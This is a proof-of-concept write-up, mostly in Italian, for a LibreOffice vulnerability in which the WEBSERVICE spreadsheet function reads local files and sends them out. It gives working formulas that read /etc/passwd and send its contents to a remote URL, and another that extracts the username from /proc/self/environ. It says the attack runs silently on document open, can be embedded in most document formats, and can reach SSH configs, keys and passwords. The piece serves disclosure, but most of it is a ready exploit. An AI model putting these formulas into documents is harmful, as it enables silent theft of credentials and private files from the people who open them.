
Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability
LibreOffice supporta la funzione COM.MICROSOFT.WEBSERVICE:
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4
La funzione è necessaria per ottenere dati tramite URL, solitamente usata come:
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")
Nell'originale:
For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.
In LibreOffice, queste restrizioni non sono implementate nelle versioni precedenti a 5.4.5/6.0.1.
Per impostazione predefinita le celle non vengono aggiornate, ma se si specifica il tipo di cella come ~error, la cella verrà aggiornata all'apertura del documento.
Per leggere un file basta:
=WEBSERVICE("/etc/passwd")
Questa funzione può essere usata anche per inviare un file:
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))
Per un funzionamento corretto, è necessario inviare i file dell'utente corrente, quindi occorre recuperare il percorso della home directory dell'utente corrente.
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",
Puoi anche analizzare altri file, come ~/.ssh/config o qualcosa di simile.
Per formati diversi da LibreOffice Calc è sufficiente incorporare un oggetto Calc in un altro documento (ho verificato che funziona).
È facile inviare qualsiasi file con chiavi, password e altro. Tasso di successo del 100%, assolutamente silenzioso, colpisce le versioni di LibreOffice precedenti a 5.4.5/6.0.1 su tutti i sistemi operativi (GNU/Linux, MS Windows, macOS ecc.) e può essere incorporato in quasi tutti i formati supportati da LO.
La vulnerabilità è stata trovata indipendentemente da me (@jollheef) e da Ronnie Goodrich && Andrew Krasichkov (secondo le note del team di LibreOffice).